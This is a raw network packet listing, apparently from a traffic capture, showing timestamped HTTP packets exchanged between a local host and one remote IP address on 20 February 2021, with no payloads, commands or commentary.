Feb 20, 2021 02:03:51.202405930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202430964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202457905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202480078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202529907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202590942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202605009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202624083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202656031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202677965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202678919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202688932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202725887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202773094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202800035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202824116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202842951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202904940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202945948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.202970028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202980995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.202982903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203011990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203027964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203042030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203054905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203069925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203088045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203095913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203114033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203145027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203203917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203238964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203254938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203264952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203286886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203296900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203309059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203310013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203325033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203332901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203353882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203389883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203402996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203425884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203450918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203459024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203474045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203474998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203488111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203522921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203680038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203705072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203728914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203738928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203763008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203830957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203867912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203870058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203886032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203891039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.203913927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203943014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.203965902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204006910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204014063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204031944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204052925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204068899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204123974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204148054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204169989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204176903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204189062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204202890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204252005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204277992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204299927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204304934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204319954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204322100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204345942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204360008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204410076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204433918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204457045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204458952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204471111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204480886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204503059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204530954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204598904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204622984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204644918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204655886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204669952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204734087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204775095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204782963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204787016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204791069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204797029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204821110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204860926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204865932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204894066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204904079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204910994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.204931974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204955101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.204977036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205023050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205023050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205039024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205041885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205044031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205054045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205065966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205077887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205101013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205126047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205137968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205158949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205166101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205174923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205189943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205213070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205236912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205245018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205259085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205284119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205293894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205306053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205327034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205332041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205343962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205348015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205364943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205387115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205461979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205485106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205507040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205522060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205533028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205538034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205544949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205569983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205589056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205590963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205611944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205612898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205625057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205635071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205656052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205671072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205688000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205693007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205714941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205715895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205733061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205753088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205774069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205790997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205794096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205817938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205846071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205852985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205858946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205879927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205898046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205904007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205921888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205929041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205950975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205957890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205975056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.205976009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.205982924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206022978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206043959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206094027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206159115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206197023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206208944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206218004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206240892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206243992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206259966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206278086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206284046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206299067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206326962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206338882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206352949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206374884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206398964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206410885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206439972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206460953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206497908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206499100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206513882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206521034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206557989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206568956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206602097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206692934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.206887007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.206943989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224242926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224272966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224292040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224406004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224601984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224626064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224647045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224653006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224667072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224668026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224672079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224675894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224695921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224724054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224771976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224798918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224822998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224833012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224848986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224852085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224857092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224914074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224927902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224961996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.224981070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.224984884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225027084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225035906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225040913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225090981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225095987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225120068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225142002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225145102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225156069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225191116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225258112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225275993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225332022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225403070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225434065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225454092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225460052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225472927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225478888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225486994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225502014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225505114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225522995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225564957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225577116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225594044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225624084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225640059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225656986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225670099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225687027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225696087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225701094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225780010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225789070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225800991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225805998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225809097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225826979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225831985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225846052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225866079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225894928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225898981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225917101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225920916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225953102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225954056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225969076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.225975990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.225996971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226010084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226021051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226023912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226036072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226075888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226099968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226119995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226140022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226150990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226166964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226177931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226249933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226272106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226294041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226306915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226319075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226335049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226345062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226372004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226398945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226421118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226421118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226433992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226440907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226464987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226499081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226535082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226552010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226572990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226593971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226597071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226620913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226627111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226639986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226650000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226682901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226687908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226701021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226711035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226732016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226746082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226752996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226793051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226816893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226823092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226838112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226861000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226883888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226908922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226932049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226944923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226959944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.226967096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.226979971 CET	49165	80	192.168.2.22	185.81.0.78
